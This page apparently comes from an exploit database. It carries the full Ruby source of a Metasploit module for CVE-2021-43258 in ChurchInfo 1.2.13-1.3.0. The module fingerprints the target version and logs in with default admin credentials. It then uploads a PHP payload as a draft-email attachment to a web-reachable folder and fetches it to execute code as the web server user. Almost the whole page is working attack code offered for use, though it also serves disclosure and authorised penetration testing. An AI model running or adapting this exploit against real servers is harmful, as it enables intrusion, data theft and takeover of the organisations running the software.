Headline
ChurchInfo 1.2.13-1.3.0 Remote Code Execution
This Metasploit module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE', 'Description' => %q{ This module exploits the logic in the CartView.php page when crafting a draft email with an attachment. By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and then browsing to the location of the uploaded PHP file on the web server, arbitrary code execution as the web daemon user (e.g. www-data) can be achieved. }, 'License' => MSF_LICENSE, 'Author' => [ 'm4lwhere <[email protected]>' ], 'References' => [ ['URL', 'http://www.churchdb.org/'], ['URL', 'http://sourceforge.net/projects/churchinfo/'], ['CVE', '2021-43258'] ], 'Platform' => 'php', 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [['Automatic Targeting', { 'auto' => true }]], 'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date 'DefaultTarget' => 0, 'Notes' => { 'Stability' => ['CRASH_SAFE'], 'Reliability' => ['REPEATABLE_SESSION'], 'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS'] } ) ) # Set the email subject and message if interested register_options( [ Opt::RPORT(80), OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']), OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']), OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']), OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']), OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!']) ] ) end def check if datastore['SSL'] == true proto_var = 'https' else proto_var = 'http' end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'Default.php'), 'method' => 'GET', 'vars_get' => { 'Proto' => proto_var, 'Path' => target_uri.path } ) unless res return CheckCode::Unknown('Target did not respond to a request to its login page!') end # Check if page title is the one that ChurchInfo uses for its login page. if res.body.match(%r{<title>ChurchInfo: Login</title>}) print_good('Target is ChurchInfo!') else return CheckCode::Safe('Target is not running ChurchInfo!') end # Check what version the target is running using the upgrade pages. res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'), 'method' => 'GET' ) if res && (res.code == 500 || res.code == 200) return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'), 'method' => 'GET' ) if res && (res.code == 500 || res.code == 200) return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'), 'method' => 'GET' ) if res && (res.code == 500 || res.code == 200) return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!') else return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!') end end # # The exploit method attempts a login, adds items to the cart, then creates the email attachment. # Adding items to the cart is required for the server-side code to accept the upload. # def exploit # Need to grab the PHP session cookie value first to pass to application vprint_status('Gathering PHP session cookie') if datastore['SSL'] == true vprint_status('SSL is true, changing protocol to HTTPS') proto_var = 'https' else vprint_status('SSL is false, leaving protocol as HTTP') proto_var = 'http' end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'Default.php'), 'method' => 'GET', 'vars_get' => { 'Proto' => proto_var, 'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI'] }, 'keep_cookies' => true ) # Ensure we get a 200 from the application login page unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})") end # Check that we actually are targeting a ChurchInfo server. unless res.body.match(%r{<title>ChurchInfo: Login</title>}) fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!') end # Grab our assigned session cookie cookie = res.get_cookies vprint_good("PHP session cookie is #{cookie}") vprint_status('Attempting login') # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'Default.php'), 'method' => 'POST', 'vars_post' => { 'User' => datastore['USERNAME'], 'Password' => datastore['PASSWORD'], 'sURLPath' => datastore['TARGETURI'] } ) # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that. unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php' fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})") end vprint_good("Location header is #{res.headers['Location']}") print_good("Logged into application as #{datastore['USERNAME']}") vprint_status('Attempting exploit') # We must add items to the cart before we can send the emails. This is a hard requirement server-side. print_status('Navigating to add items to cart') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'SelectList.php'), 'method' => 'GET', 'vars_get' => { 'mode' => 'person', 'AddAllToCart' => 'Add+to+Cart' } ) # Need to check that items were successfully added to the cart # Here we're looking through html for the version string, similar to: # Items in Cart: 2 unless res && res.code == 200 fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})") end cart_items = res.body.match(/Items in Cart: (?<cart>\d)/) unless cart_items fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?") end if cart_items['cart'].to_i < 1 print_error('No items in cart detected') fail_with(Failure::UnexpectedReply, 'Failure to add items to cart, no items were detected. Check if there are person entries in the application') end print_good("Items in Cart: #{cart_items}") # Uploading exploit as temporary email attachment print_good('Uploading exploit via temp email attachment') payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php' vprint_status("Payload name is #{payload_name}") # Create the POST payload with required parameters to be parsed by the server post_data = Rex::MIME::Message.new post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Attach\"; filename=\"#{payload_name}\"") post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"') post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"') post_data.add_part('Save Email', '', nil, 'form-data; name="submit"') file = post_data.to_s file.strip! res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'CartView.php'), 'method' => 'POST', 'data' => file, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) # Ensure that we get a 200 and the intended payload was # successfully uploaded and attached to the draft email. unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}") fail_with(Failure::Unknown, 'Failed to upload the payload.') end print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}") # Have our payload deleted after we exploit register_file_for_cleanup(payload_name) # Make a GET request to the PHP file that was uploaded to execute it on the target server. print_good('Executing payload with GET request') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name), 'method' => 'GET' ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") endend